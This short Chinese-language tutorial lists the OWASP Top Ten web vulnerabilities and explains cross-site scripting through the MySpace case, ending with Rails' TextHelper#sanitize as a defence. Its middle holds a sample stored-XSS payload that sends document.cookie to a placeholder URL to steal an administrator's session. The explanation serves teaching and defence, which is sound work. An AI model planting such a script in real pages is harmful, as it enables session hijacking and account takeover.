owasp.org列出
十大Web应用漏洞清单:
1, Cross Site Scripting(XSS)
2, Injection Flaws
3, Malicious File Execution
4, Insecure Direct Object Reference
5, Cross Site Request Forgery(CSRF)
6, Information Leakage and Improper Error Handling
7, Broken Authentication and Session Management
8, Insecure Cryptographic Storage
9, Insecure Communications
10, Failure to Restrict URL Access
XSS排在第一位,MySpace著名的漏洞案就是由于受到XSS攻击,原理很简单,在用户提交的数据中包含JavaScript脚本
例如在修改用户Profile时用户在一个输入框内输入如下内容:
<script>
$.ajax("some url" + document.cookie)
</script>
这样当其他人(如管理员)查看该用户的Profile时,上面这段JavaScript执行,然后将管理员的cookie发送给某个url(可以是一个收集cookie的站点)
这样,管理员的登录认证等信息就暴露了!
而Rails提供了TextHelper#sanitize方法来预防XSS攻击